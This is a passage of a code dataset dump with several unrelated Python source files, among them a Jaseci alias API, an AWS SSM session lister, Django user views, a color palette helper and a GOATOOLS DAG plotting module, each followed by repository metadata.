plt.subplots_adjust(top=0.97,right=1,left=0,bottom=0)\r\n plt.show()\r\nrunThings()","repo_name":"RougeGod/SportsModelling","sub_path":"Football/3DVisualizations.py","file_name":"3DVisualizations.py","file_ext":"py","file_size_in_byte":8495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"69924726298","text":"\"\"\"\nAlias api as a mixin\n\"\"\"\nfrom jaseci.extens.api.interface import Interface\n\n\nclass AliasAPI:\n \"\"\"\n Alias APIs for creating nicknames for UUIDs and other long strings\n\n The alias set of APIs provide a set of `alias' management functions for\n creating and managing aliases for long strings such as UUIDs. If an alias'\n name is used as a parameter value in any API call, that parameter will see\n the alias' value instead. Given that references to all sentinels, walkers,\n nodes, etc. utilize UUIDs, it becomes quite useful to create pneumonic\n names for them. Also, when registering sentinels, walkers, architype\n handy aliases are automatically generated. These generated aliases can\n then be managed using the alias APIs. Keep in mind that whenever an alias\n is created, all parameter values submitted to any API with the alias name\n will be replaced internally by its value. If you get in a bind, simply use\n the clear or delete alias APIs.\n \"\"\"\n\n def __init__(self):\n self.alias_map = {}\n\n @Interface.private_api(cli_args=[\"name\"])\n def alias_register(self, name: str, value: str):\n \"\"\"Create string to string alias mapping that caller can use.\n\n Either create new alias string to string mappings or replace\n an existing mappings of a given alias name. Once registered the\n alias mapping is instantly active.\n\n Args:\n name (str): The name for the alias created by caller.\n value (str): The value for that name to map to (i.e., UUID)\n\n Returns:\n json: Fields include\n 'response': Message of mapping that was created\n \"\"\"\n self.alias_map[name] = value\n self.save()\n return {\"response\": f\"Alias from '{name}' to '{value}' set!\"}\n\n @Interface.private_api()\n def alias_list(self):\n \"\"\"List all string to string alias that caller can use.\n\n Returns dictionary object of name to value mappings currently active.\n This API is quite useful to track not only the aliases the caller\n creates, but also the aliases automatically created as various Jaseci\n objects (walkers, architypes, sentinels, etc.) are created, changed,\n or destroyed.\n\n Returns:\n dictionary: Dictionary of active mappings\n 'name': 'value'\n ...\n \"\"\"\n return self.alias_map\n\n @Interface.private_api(cli_args=[\"name\"])\n def alias_delete(self, name: str):\n \"\"\"Delete an active string to string alias mapping.\n\n Removes a specific alias by its name. Only the alias is removed no\n actual objects are affected. Future uses of this name will not be\n mapped.\n\n Args:\n name (str): The name for the alias to be removed from caller.\n\n Returns:\n dictionary: Fields include\n 'response': Message of success/failure to remove alias\n 'success': True/False based on delete actually happening\n \"\"\"\n if name in self.alias_map.keys():\n del self.alias_map[name]\n self.save()\n return {\"response\": f\"Alias {name} successfully deleted\", \"success\": True}\n else:\n return {\"response\": f\"Alias {name} not present\", \"success\": False}\n\n @Interface.private_api()\n def alias_clear(self):\n \"\"\"Remove all string to string alias that client can use.\n\n Removes a all aliases. No actual objects are affected. Aliases will\n continue to be automatically generated when creating other Jaseci\n objects.\n\n Returns:\n dictionary: Fields include\n 'response': Message of number of alias removed\n 'removed': Number of aliases removed\n \"\"\"\n n = len(self.alias_map.keys())\n self.alias_map = {}\n self.save()\n return {\"response\": f\"All {n} aliases deleted\", \"removed\": n}\n\n def extract_snt_aliases(self, snt):\n \"\"\"\n Extract and register all aliases from sentinel\n \"\"\"\n self.alias_register(f\"sentinel:{snt.name}\", snt.jid)\n for i in snt.arch_ids.obj_list():\n self.extract_arch_aliases(snt, i)\n self.save()\n\n def extract_arch_aliases(self, snt, arch):\n \"\"\"\n Extract and register all aliases from architype\n \"\"\"\n if arch.kind == \"walker\":\n self.alias_register(f\"{snt.name}:walker:{arch.name}\", arch.jid)\n else:\n self.alias_register(f\"{snt.name}:architype:{arch.name}\", arch.jid)\n\n def remove_snt_aliases(self, snt):\n \"\"\"\n Extract and register all aliases from sentinel\n \"\"\"\n self.alias_delete(f\"sentinel:{snt.name}\")\n for i in snt.arch_ids.obj_list():\n self.remove_arch_aliases(snt, i)\n self.save()\n\n def remove_arch_aliases(self, snt, arch):\n \"\"\"\n Extract and register all aliases from architype\n \"\"\"\n if arch.kind == \"walker\":\n self.alias_delete(f\"{snt.name}:walker:{arch.name}\")\n else:\n self.alias_delete(f\"{snt.name}:architype:{arch.name}\")\n","repo_name":"Jaseci-Labs/jaseci","sub_path":"jaseci_core/jaseci/extens/api/alias_api.py","file_name":"alias_api.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"68"}
+{"seq_id":"15823098190","text":"import boto3\r\nimport json\r\n\r\nimport botocore\r\n# import operator\r\nregions=['af-south-1', 'eu-north-1', 'ap-south-1', 'eu-west-3', 'eu-west-2', 'eu-south-1', 'eu-west-1', 'ap-northeast-3', 'ap-northeast-2', 'me-south-1', 'ap-northeast-1', 'sa-east-1', 'ca-central-1', 'ap-east-1', 'ap-southeast-1', 'ap-southeast-2', 'eu-central-1', 'us-east-1', 'us-east-2', 'us-west-1', 'us-west-2']\r\nfor j in regions:\r\n try:\r\n print(\"Here are all the ssm sessions from \"+ j +\" region\")\r\n print(\"..................................................................................................\")\r\n\r\n\r\n ssm_client = boto3.client('ssm', region_name = j )\r\n list_ssm = []\r\n next_token = None\r\n while True:\r\n response2 = ssm_client.describe_sessions(State='Active',\r\n NextToken= next_token\r\n ) if next_token else ssm_client.describe_sessions(State='Active')\r\n print(response2['Sessions']) \r\n for l in response2['Sessions']:\r\n \r\n \r\n status_var2 = l['Status']\r\n \r\n rank = 0\r\n if status_var2 == \"Connected\":\r\n rank = 1\r\n if status_var2 == \"Failed\":\r\n rank = 2\r\n\r\n list_ssm.append((l['SessionId'], \"Sessions\" , \"No Document name\",l['Status'], rank))\r\n \r\n\r\n\r\n print(list_ssm)\r\n \r\n if 'NextToken' in response2.keys():\r\n next_token = response2['NextToken']\r\n \r\n else:\r\n break\r\n\r\n except Exception as e:\r\n print ( \"Exception occured \")\r\n print(e)\r\n continue\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"saima-noor/my_projects","sub_path":"SSM resources/describe_ssm_sessions.py","file_name":"describe_ssm_sessions.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"69903101018","text":"from django.shortcuts import render, redirect\n# from django.contrib.auth.forms import UserCreationForm\nfrom .forms import UserRegisterForm, ProfileImageForm, UserUpdateForm\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\n\n\ndef register(request):\n error = ''\n if request.method == \"POST\":\n form = UserRegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n messages.success(request, f'Пользовать {username} был успешно создан!')\n return redirect('home')\n else:\n error = \"Форма заполнена неправильно\"\n\n form = UserRegisterForm()\n\n data = {\n 'title':'Страница регистрации',\n 'form': form,\n \"error\": error,\n }\n\n return render(request, 'users/registration.html', data)\n\n\n@login_required\ndef profile(request):\n if request.method == 'POST':\n profileForm = ProfileImageForm(request.POST, request.FILES, instance=request.user.profile)\n updateUserForm = UserUpdateForm(request.POST, instance=request.user)\n \n if profileForm.is_valid() and updateUserForm.is_valid():\n updateUserForm.save()\n profileForm.save()\n messages.success(request, f'Профиль был успешно обновлен!')\n return redirect('profile')\n else:\n profileForm = ProfileImageForm(instance=request.user.profile)\n updateUserForm = UserUpdateForm(instance=request.user)\n\n data = {\n 'profileForm': profileForm,\n 'updateUserForm': updateUserForm\n }\n\n return render(request, 'users/profile.html', data)\n\n\n# Create your views here.\n","repo_name":"pesnyuspoyom/facetook","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"8196622822","text":"from pathlib import Path\n\nwith open(\"RNU6_269P.txt\", \"r\") as f:\n header = next(f)\n f.close()\n\nprint(header)\n\nfilename = \"RNU6_269P.txt\"\nfile = Path(filename)\ndata = file.read_text()\n\nline = data.split('\\n')\n\nprint(line[0])","repo_name":"Carol-mza/2019-2020-PNE-Practices","sub_path":"Session 04/head.py","file_name":"head.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"6148314129","text":"TIC = 'btc'\r\n\r\nTURBULENCE_FACTOR = 1.2\r\nTIMESTEPS = 10000 # ~ 500 timesteps per second | 3600 seconds in an hour\r\nPPI = 137.68\r\n\r\nCOLOUR_LIST = [ \r\n \"lightcoral\",\r\n \"lightskyblue\",\r\n \"lightskyblue\",\r\n \"sandybrown\",\r\n \"limegreen\",\r\n \"deepskyblue\",\r\n \"plum\",\r\n \"turquoise\",\r\n \"crimson\",\r\n \"mediumpurple\",\r\n \"hotpink\"\r\n]\r\n\r\nSINGLE_TI = [\"macd\", \"rsi_30\", \"cci_30\", \"dx_30\", \"adx\", \"obv\"]\r\nPASS_LIST = [\"boll_ub\", \"boll_lb\", \"close_30_sma\"]\r\n\r\nMODEL_LIST = [\"a2c\", \"ppo\"] # [\"ddpg\", \"td3\", \"sac\"]\r\n\r\nSTART_DATE = \"2014-06-01\"\r\nEND_DATE = \"2020-05-30\"\r\n\r\nSTART_TRADE_DATE = \"2019-06-01\"\r\n\r\n# Stockstats list\r\nTECHNICAL_INDICATORS_LIST = [\r\n \"macd\",\r\n \"boll_ub\",\r\n \"boll_lb\",\r\n \"rsi_30\",\r\n \"cci_30\",\r\n \"dx_30\",\r\n \"close_30_sma\",\r\n \"close_60_sma\",\r\n \"adx\",\r\n]\r\n\r\n# My TI list\r\nTI_LIST = [\r\n \"macd\",\r\n \"boll_ub\",\r\n \"boll_lb\",\r\n \"rsi_30\",\r\n \"cci_30\",\r\n \"dx_30\",\r\n \"close_30_sma\",\r\n \"close_60_sma\",\r\n \"adx\",\r\n \"psar\",\r\n \"obv\"\r\n]","repo_name":"jeremyruss/Reinforcement-Learning-for-Algorithmic-Trading","sub_path":"finrl/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15524231184","text":"import os\nimport numpy as np\nimport pandas as pd\nfrom pandas import ExcelFile\nfrom OneHotEncoder import OneHotEncoder\n\nimport torch\nimport torch.nn as nn\n\nclass IOLDataset:\n def __init__(self, pandas_df, NaN = 999, verbose = False, max_length = 5):\n assert (type(pandas_df) == pd.core.frame.DataFrame), \"only accepts pandas DF objects\"\n self.df = pandas_df\n self.df.replace('NaN', NaN)\n self.patient_num = pandas_df.shape[0]\n self.verbose = verbose\n self.max_length = max_length\n\n '''\n Categorical vector encoding for metadata and outcome\n '''\n def one_hot_encoder(self, categorical_vector, encoded_dict={}):\n class_dict = encoded_dict\n class_index = 0\n index_list = []\n for i in range(len(categorical_vector)):\n if categorical_vector[i] not in class_dict:\n class_dict[categorical_vector[i]] = class_index\n class_index += 1\n index_list.append(class_dict[categorical_vector[i]])\n index_list = np.array(index_list)\n # change the column dimension of the one hot vector to be the same as the class dict\n one_hot_vector = np.zeros((index_list.size, len(class_dict)+1))\n one_hot_vector[np.arange(index_list.size),index_list] = 1\n return one_hot_vector, class_dict\n\n def set_metadata(self, metadata):\n encoded_matrix = []\n if self.verbose:\n print(\"Patient metadata includes: {}\".format(metadata))\n for column in metadata:\n one_hot_matrix, _ = self.one_hot_encoder(self.df[column].values, {})\n encoded_matrix = one_hot_matrix if len(encoded_matrix) == 0 else np.hstack((encoded_matrix, one_hot_matrix))\n if self.verbose:\n print(\"{} | key pair: {}\".format(column, _))\n self.metadata = encoded_matrix\n\n def set_outcome(self, outcome):\n encoded_matrix, _ = self.one_hot_encoder(self.df[outcome].values)\n if self.verbose:\n print(\"Outcome defined by: {}\".format(outcome))\n print(\"{} | key pair: {}\".format(outcome, _))\n self.outcome = encoded_matrix\n\n def set_delivery_time(self):\n self.delivery_time = self.df['Delivery Time'].values\n\n '''\n numpy datetime difference calculation is giving weird values. need to debug.\n '''\n def time_to_delivery(self, current_time):\n assert (type(current_time) == pd.core.series.Series), \"{} is not pandas series\".format(type(current_time))\n return np.array(self.delivery_time - current_time.values, dtype=int)\n\n '''\n Encoding action series\n '''\n def dict_encoder(self, categorical_vector, encoded_dict={}):\n class_dict = encoded_dict\n class_index = 0\n for i in range(len(categorical_vector)):\n if categorical_vector[i] not in class_dict:\n class_dict[categorical_vector[i]] = class_index\n class_index += 1\n return class_dict\n\n def run_dict_encoder(self, actions_to_encode, max_length):\n self.encoded_dict = {}\n for item in actions_to_encode:\n encoded_dict = {}\n for t in range(1, max_length + 1):\n encoded_dict = self.dict_encoder(self.df[item + str(t)].values, encoded_dict)\n self.encoded_dict[item] = encoded_dict\n\n def set_induction_action(self, action_series):\n base = action_series[1:]\n self.induction_series = {}\n # iterate through all time points for each action base to create a dict with complete encodings\n self.run_dict_encoder(actions_to_encode = base, max_length = self.max_length)\n # iterate through time points to gather encodings and combien with time to delivery\n for t in range(1, self.max_length + 1):\n time_to_delivery = self.time_to_delivery(self.df[action_series[0] + str(t)])\n encoded_matrix = np.expand_dims(time_to_delivery, axis = 1) # make column vector\n for item in base:\n one_hot_matrix, _ = self.one_hot_encoder(self.df[item + str(t)].values, self.encoded_dict[item])\n encoded_matrix = np.hstack((encoded_matrix, one_hot_matrix))\n self.induction_series[t] = encoded_matrix\n if self.verbose:\n print(\"Induciton actions include: {}\".format(base))\n print(\"Key pair: {}\".format(self.encoded_dict))\n\n '''\n Create dataset that rolls out the time points with one hot vector encodings and appropritate labels\n '''\n def create_dataset(self, bishop_included = True):\n self.set_metadata(['Age', 'Ethnicity category', 'Gravida', 'Parity']) # 'Current_Pregnancy_Concerns'\n self.set_outcome('Mode of Delivery')\n self.set_delivery_time()\n self.set_induction_action(['T', 'Indication', 'Action', 'PriorROM', 'Bishop'] if bishop_included else ['T', 'Indication', 'Action', 'PriorROM'])\n dataset = []\n for t in range(1, self.max_length + 1):\n action = self.induction_series[t][:,1:]\n time_to_delivery = self.induction_series[t][:,0]\n accumulated_action = action if t == 1 else accumulated_action + action\n # The above addition doesn't work cause different induction time points have\n # different number of classes, but i didn't consider that when coding the one_hot_encodings...\n # need to debug. FFS -woochan\n for patient_id in range(self.patient_num):\n dataset.append({'id':{'patient_id':patient_id, 'series':t},\n 'metadata':self.metadata[patient_id],\n 'action':accumulated_action[patient_id],\n 'time_to_delivery':time_to_delivery[patient_id],\n 'outcome':self.outcome[patient_id]})\n return dataset\n\n\n\nclass DataLoader:\n def __init__(self, dataset):\n self.dataset = dataset\n\n def __getitem__(self, index):\n return\n\n def __len__(self):\n return self.dataset_size\n","repo_name":"woochan-hwang/IOL_project","sub_path":"dataLoader.py","file_name":"dataLoader.py","file_ext":"py","file_size_in_byte":6039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"9336469978","text":"n, m = map(int, input().split())\narr = list(map(int, input().split()))\ncur = 0\nres = [i for i in range(1, n+1)]\ncount = 0\n\nfor i in arr:\n if len(res)==1:\n break\n tmp = res.index(i)\n if tmp >= cur:\n count += tmp - cur if tmp - cur < len(res) - tmp + cur else len(res) - tmp + cur\n else:\n count += cur - tmp if cur - tmp < len(res) - cur + tmp else len(res) - cur + tmp\n cur = tmp\n del res[cur]\n\nprint(count)","repo_name":"ChoiSangwon/algorithm","sub_path":"backjoon/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15105866181","text":"\"\"\"This file is like a short engine.\nThe main purpose is to store all required functions, to prevent the app.py\nto be filled with spam \"\"\"\n\nimport math\nimport numpy as np\n\n\n\"\"\"------------------------------------------------------------\"\"\"\n\"\"\"-Everything that belongs taxa coloring or color generation.-\"\"\"\n\"\"\"------------------------------------------------------------\"\"\"\n\n\ndef rgbStrToVec(color):\n \"\"\" Converts a hex color code string into a numpy 3 vector.\n :param color: Color code string. An example would be \"#1A05FF\".\n :return: Returns a numpy 3 vector with red green and blue value.\n \"\"\"\n try:\n return np.array([int(\"0x\" + color[1:3], 16),\n int(\"0x\" + color[3:5], 16),\n int(\"0x\" + color[5:7], 16)])\n except ... as error:\n print(\"Error: required_functionalities->rgbStrToVec():\", error)\n return np.array([0, 0, 0])\n\n\ndef rgbVecToStr(c_vec):\n \"\"\" Converts a numpy 3 vector within int variables into a rbg hex color\n code string.\n :param c_vec: Numpy 3 vector within int variables between 0 and 255.\n :return: Returns a string with a hex color code.\n \"\"\"\n try:\n\n if c_vec[0] < 0: c_vec[0] = 0;\n if c_vec[0] > 255: c_vec[0] = 255;\n\n if c_vec[1] < 0: c_vec[1] = 0;\n if c_vec[1] > 255: c_vec[1] = 255;\n\n if c_vec[2] < 0: c_vec[2] = 0;\n if c_vec[2] > 255: c_vec[2] = 255;\n\n return \"#\" + str(hex(c_vec[0]))[2:4].zfill(2) + \\\n str(hex(c_vec[1]))[2:4].zfill(2) + \\\n str(hex(c_vec[2]))[2:4].zfill(2)\n except ... as error:\n print(\"Error: required_functionalities->rgbVecToStr()\", error)\n return \"#000000\"\n\n\ndef colorRampPalette(colors, n):\n \"\"\" Interpolate colors linearly to create a color palette.\n :param colors: List with color hex strings which is based on.\n :param n: Number of required colors. That effects the greatness\n of return list.\n :return: Gives a list with hex color strings.\n \"\"\"\n result = []\n c_len = len(colors)\n if c_len < 1:\n return []\n if c_len == 1:\n return colors * n\n if n == 1:\n return [colors[0]]\n\n step = (len(colors) - 1) / (n - 1)\n for i in range(0, n):\n if math.floor(step * i) == math.ceil(step * i):\n result.append(colors[math.floor(step * i)])\n else:\n v_color_a = rgbStrToVec(colors[math.floor(step * i)])\n v_color_b = rgbStrToVec(colors[math.ceil(step * i)])\n\n v_color = (v_color_a + (v_color_b - v_color_a) *\n (step * i % 1)).astype(int)\n result.append(rgbVecToStr(v_color))\n\n return result\n\n\ndef qualitativeColours(n, color_root=None):\n \"\"\" Generates a color palette in order to be able to differentiate between\n individual taxa as well as possible.\n :param n: Number of required colors.\n :param color_root a color hex string, which define the pole label color.\n :return: Gives a list with hex color strings.\n \"\"\"\n defauld_root = [\"#DF0101\", \"#FFFF00\", \"#298A08\", \"#00FF00\", \"#01DFD7\", \"#0101DF\", \"#F781BE\"]\n\n if color_root:\n try:\n color_root = color_root.split()\n\n # Simply data check, not valid against none hex letters.\n for i in color_root:\n if len(i) != 7 or i[0] != '#':\n print(\"Error: required_functionalities->qualitiveColours: \", \"ValueError: not a hex color string.\")\n color_root = defauld_root\n break\n\n except ... as e:\n print(\"Error: required_functionalities->qualitiveColours: \", e)\n color_root = defauld_root\n else:\n color_root = defauld_root\n\n return colorRampPalette(color_root, n)\n\n\ndef set_custom_color_traces(fig, custom_d_index):\n \"\"\" Manual update_traces() function for python dash figure,\n witch is simply write a custom variable into the marker color.\n This function is just a specific bug solution and only usable with\n Scatter3d traces.\n :param fig: Python dash scatter_3d figure witch should be updated.\n :param custom_d_index: Index of custom variable in the corresponding trace.\n Effects something like %customdata[i].\n :return: All updates are by reference, hence it returns void.\n \"\"\"\n for trace in fig.data:\n try:\n trace['marker']['color'] = trace['customdata'][0][custom_d_index]\n except ... as error:\n print(\"Error: required_functionalities->updateColorTraces:\", error)\n\n\n","repo_name":"lukekoch/taXaminer-dashboard-g-nom","sub_path":"utility/required_functionalities.py","file_name":"required_functionalities.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"43605375218","text":"import os\n\nimport pytest\nfrom mock import Mock, patch\n\nfrom sigopt.orchestrate.sigopt.service import SigOptService\n\n\nclass TestSigOptService(object):\n @pytest.fixture\n def services(self):\n return Mock()\n\n def test_reads_from_environment(self, services):\n with patch.dict(\n os.environ,\n dict(SIGOPT_API_TOKEN=\"foobar\", SIGOPT_API_URL=\"https://api-env.sigopt.com\"),\n ):\n sigopt_service = SigOptService(services)\n assert sigopt_service.conn is not None\n assert sigopt_service.api_token == \"foobar\"\n assert sigopt_service.api_url == \"https://api-env.sigopt.com\"\n","repo_name":"sigopt/sigopt-python","sub_path":"test/orchestrate/sigopt/service_test.py","file_name":"service_test.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"68"}
+{"seq_id":"17839600321","text":"\"\"\"Plot a GODagSmall.\"\"\"\n\n__copyright__ = \"Copyright (C) 2016-2018, DV Klopfenstein, H Tang, All rights reserved.\"\n__author__ = \"DV Klopfenstein\"\n\nimport sys\nimport os\nimport collections as cx\nfrom collections import OrderedDict\nfrom goatools.godag_obosm import OboToGoDagSmall\n\ndef plot_gos(fout_png, goids, obo_dag, *args, **kws):\n \"\"\"Given GO ids and the obo_dag, create a plot of paths from GO ids.\"\"\"\n engine = kws['engine'] if 'engine' in kws else 'pydot'\n godagsmall = OboToGoDagSmall(goids=goids, obodag=obo_dag).godag\n godagplot = GODagSmallPlot(godagsmall, *args, **kws)\n godagplot.plt(fout_png, engine)\n\ndef plot_goid2goobj(fout_png, goid2goobj, *args, **kws):\n \"\"\"Given a dict containing GO id and its goobj, create a plot of paths from GO ids.\"\"\"\n engine = kws['engine'] if 'engine' in kws else 'pydot'\n godagsmall = OboToGoDagSmall(goid2goobj=goid2goobj).godag\n godagplot = GODagSmallPlot(godagsmall, *args, **kws)\n godagplot.plt(fout_png, engine)\n\ndef plot_results(fout_png, goea_results, *args, **kws):\n \"\"\"Given a list of GOEA results, plot result GOs up to top.\"\"\"\n if \"{NS}\" not in fout_png:\n plt_goea_results(fout_png, goea_results, *args, **kws)\n else:\n # Plot separately by NS: BP, MF, CC\n ns2goea_results = cx.defaultdict(list)\n for rec in goea_results:\n ns2goea_results[rec.NS].append(rec)\n for ns_name, ns_res in ns2goea_results.items():\n png = fout_png.format(NS=ns_name)\n plt_goea_results(png, ns_res, *args, **kws)\n\ndef plt_goea_results(fout_png, goea_results, *args, **kws):\n \"\"\"Plot a single page.\"\"\"\n engine = kws['engine'] if 'engine' in kws else 'pydot'\n godagsmall = OboToGoDagSmall(goea_results=goea_results).godag\n godagplot = GODagSmallPlot(godagsmall, *args, goea_results=goea_results, **kws)\n godagplot.plt(fout_png, engine)\n\nclass GODagPltVars(object):\n \"\"\"Holds plotting paramters.\"\"\"\n\n # http://www.graphviz.org/doc/info/colors.html\n rel2col = {\n 'is_a': 'black',\n 'part_of': 'blue',\n 'regulates': 'gold',\n 'positively_regulates': 'green',\n 'negatively_regulates': 'red',\n 'occurs_in': 'aquamarine4',\n 'capable_of': 'dodgerblue',\n 'capable_of_part_of': 'darkorange',\n }\n\n alpha2col = OrderedDict([\n # GOEA GO terms that are significant\n (0.005, 'mistyrose'),\n (0.010, 'moccasin'),\n (0.050, 'lemonchiffon1'),\n # GOEA GO terms that are not significant\n (1.000, 'grey95'),\n ])\n\n key2col = {\n 'level_01': 'lightcyan',\n 'go_sources': 'palegreen',\n }\n\n fmthdr = \"{GO} L{level:>02} D{depth:>02}\"\n fmtres = \"{study_count} genes\"\n # study items per line on GO Terms:\n items_p_line = 5\n\n\nclass GODagSmallPlot(object):\n \"\"\"Plot a graph contained in an object of type GODagSmall .\"\"\"\n\n def __init__(self, godagsmall, *args, **kws):\n self.args = args\n self.log = kws['log'] if 'log' in kws else sys.stdout\n self.title = kws['title'] if 'title' in kws else None\n # GOATOOLs results as objects\n self.go2res = self._init_go2res(**kws)\n # GOATOOLs results as a list of namedtuples\n self.pval_name = self._init_pval_name(**kws)\n # Gene Symbol names\n self.id2symbol = kws['id2symbol'] if 'id2symbol' in kws else {}\n self.study_items = kws['study_items'] if 'study_items' in kws else None\n self.study_items_max = self._init_study_items_max()\n self.alpha_str = kws['alpha_str'] if 'alpha_str' in kws else None\n self.pltvars = kws['GODagPltVars'] if 'GODagPltVars' in kws else GODagPltVars()\n if 'items_p_line' in kws:\n self.pltvars.items_p_line = kws['items_p_line']\n self.dpi = kws['dpi'] if 'dpi' in kws else 150\n self.godag = godagsmall\n self.goid2color = self._init_goid2color()\n self.pydot = None\n\n def _init_study_items_max(self):\n \"\"\"User can limit the number of genes printed in a GO term.\"\"\"\n if self.study_items is None:\n return None\n if self.study_items is True:\n return None\n if isinstance(self.study_items, int):\n return self.study_items\n return None\n\n @staticmethod\n def _init_go2res(**kws):\n \"\"\"Initialize GOEA results.\"\"\"\n if 'goea_results' in kws:\n return {res.GO:res for res in kws['goea_results']}\n if 'go2nt' in kws:\n return kws['go2nt']\n\n @staticmethod\n def _init_pval_name(**kws):\n \"\"\"Initialize pvalue attribute name.\"\"\"\n if 'pval_name' in kws:\n return kws['pval_name']\n if 'goea_results' in kws:\n goea = kws['goea_results']\n if goea:\n return \"p_{M}\".format(M=goea[0].method_flds[0].fieldname)\n\n def _init_goid2color(self):\n \"\"\"Set colors of GO terms.\"\"\"\n goid2color = {}\n # 1. colors based on p-value override colors based on source GO\n if self.go2res is not None:\n alpha2col = self.pltvars.alpha2col\n pval_name = self.pval_name\n for goid, res in self.go2res.items():\n pval = getattr(res, pval_name, None)\n if pval is not None:\n for alpha, color in alpha2col.items():\n if pval <= alpha and res.study_count != 0:\n if goid not in goid2color:\n goid2color[goid] = color\n # 2. GO source color\n color = self.pltvars.key2col['go_sources']\n for goid in self.godag.go_sources:\n if goid not in goid2color:\n goid2color[goid] = color\n # 3. Level-01 GO color\n color = self.pltvars.key2col['level_01']\n for goid, goobj in self.godag.go2obj.items():\n if goobj.level == 1:\n if goid not in goid2color:\n goid2color[goid] = color\n return goid2color\n\n def plt(self, fout_img, engine=\"pydot\"):\n \"\"\"Plot using pydot, graphviz, or GML.\"\"\"\n if engine == \"pydot\":\n self._plt_pydot(fout_img)\n elif engine == \"pygraphviz\":\n raise Exception(\"TO BE IMPLEMENTED SOON: ENGINE pygraphvis\")\n else:\n raise Exception(\"UNKNOWN ENGINE({E})\".format(E=engine))\n\n # ----------------------------------------------------------------------------------\n # pydot\n def _plt_pydot(self, fout_img):\n \"\"\"Plot using the pydot graphics engine.\"\"\"\n dag = self._get_pydot_graph()\n img_fmt = os.path.splitext(fout_img)[1][1:]\n dag.write(fout_img, format=img_fmt)\n self.log.write(\" {GO_USR:>3} usr {GO_ALL:>3} GOs WROTE: {F}\\n\".format(\n F=fout_img,\n GO_USR=len(self.godag.go_sources),\n GO_ALL=len(self.godag.go2obj)))\n\n def _get_pydot_graph(self):\n \"\"\"Given a DAG, return a pydot digraph object.\"\"\"\n rel = \"is_a\"\n pydot = self._get_pydot()\n # Initialize empty dag\n dag = pydot.Dot(label=self.title, graph_type='digraph', dpi=\"{}\".format(self.dpi))\n # Initialize nodes\n go2node = self._get_go2pydotnode()\n # Add nodes to graph\n for node in go2node.values():\n dag.add_node(node)\n # Add edges to graph\n rel2col = self.pltvars.rel2col\n for src, tgt in self.godag.get_edges():\n dag.add_edge(pydot.Edge(\n go2node[tgt], go2node[src],\n shape=\"normal\",\n color=rel2col[rel],\n dir=\"back\")) # invert arrow direction for obo dag convention\n return dag\n\n def _get_go2pydotnode(self):\n \"\"\"Create pydot Nodes.\"\"\"\n go2node = {}\n for goid, goobj in self.godag.go2obj.items():\n txt = self._get_node_text(goid, goobj)\n fillcolor = self.goid2color.get(goid, \"white\")\n node = self.pydot.Node(\n txt,\n shape=\"box\",\n style=\"rounded, filled\",\n fillcolor=fillcolor,\n color=\"mediumseagreen\")\n go2node[goid] = node\n return go2node\n\n def _get_pydot(self):\n \"\"\"Return pydot package. Load pydot, if necessary.\"\"\"\n if self.pydot:\n return self.pydot\n self.pydot = __import__(\"pydot\")\n return self.pydot\n\n # ----------------------------------------------------------------------------------\n # Methods for text printed inside GO terms\n def _get_node_text(self, goid, goobj):\n \"\"\"Return a string to be printed in a GO term box.\"\"\"\n txt = []\n # Header line: \"GO:0036464 L04 D06\"\n txt.append(self.pltvars.fmthdr.format(\n GO=goobj.id.replace(\"GO:\", \"GO\"),\n level=goobj.level,\n depth=goobj.depth))\n # GO name line: \"cytoplamic ribonucleoprotein\"\n name = goobj.name.replace(\",\", \"\\n\")\n txt.append(name)\n # study info line: \"24 genes\"\n study_txt = self._get_study_txt(goid)\n if study_txt is not None:\n txt.append(study_txt)\n # return text string\n return \"\\n\".join(txt)\n\n def _get_study_txt(self, goid):\n \"\"\"Get GO text from GOEA study.\"\"\"\n if self.go2res is not None:\n res = self.go2res.get(goid, None)\n if res is not None:\n if self.study_items is not None:\n return self._get_item_str(res)\n else:\n return self.pltvars.fmtres.format(\n study_count=res.study_count)\n\n def _get_item_str(self, res):\n \"\"\"Return genes in any of these formats:\n 1. 19264, 17319, 12520, 12043, 74131, 22163, 12575\n 2. Ptprc, Mif, Cd81, Bcl2, Sash3, Tnfrsf4, Cdkn1a\n 3. 7: Ptprc, Mif, Cd81, Bcl2, Sash3...\n \"\"\"\n npl = self.pltvars.items_p_line # Number of items Per Line\n prt_items = sorted([self.__get_genestr(itemid) for itemid in res.study_items])\n prt_multiline = [prt_items[i:i+npl] for i in range(0, len(prt_items), npl)]\n num_items = len(prt_items)\n if self.study_items_max is None:\n genestr = \"\\n\".join([\", \".join(str(e) for e in sublist) for sublist in prt_multiline])\n return \"{N}) {GENES}\".format(N=num_items, GENES=genestr)\n else:\n if num_items <= self.study_items_max:\n strs = [\", \".join(str(e) for e in sublist) for sublist in prt_multiline]\n genestr = \"\\n\".join([\", \".join(str(e) for e in sublist) for sublist in prt_multiline])\n return genestr\n else:\n short_list = prt_items[:self.study_items_max]\n short_mult = [short_list[i:i+npl] for i in range(0, len(short_list), npl)]\n short_str = \"\\n\".join([\", \".join(str(e) for e in sublist) for sublist in short_mult])\n return \"\".join([\"{N} genes; \".format(N=num_items), short_str, 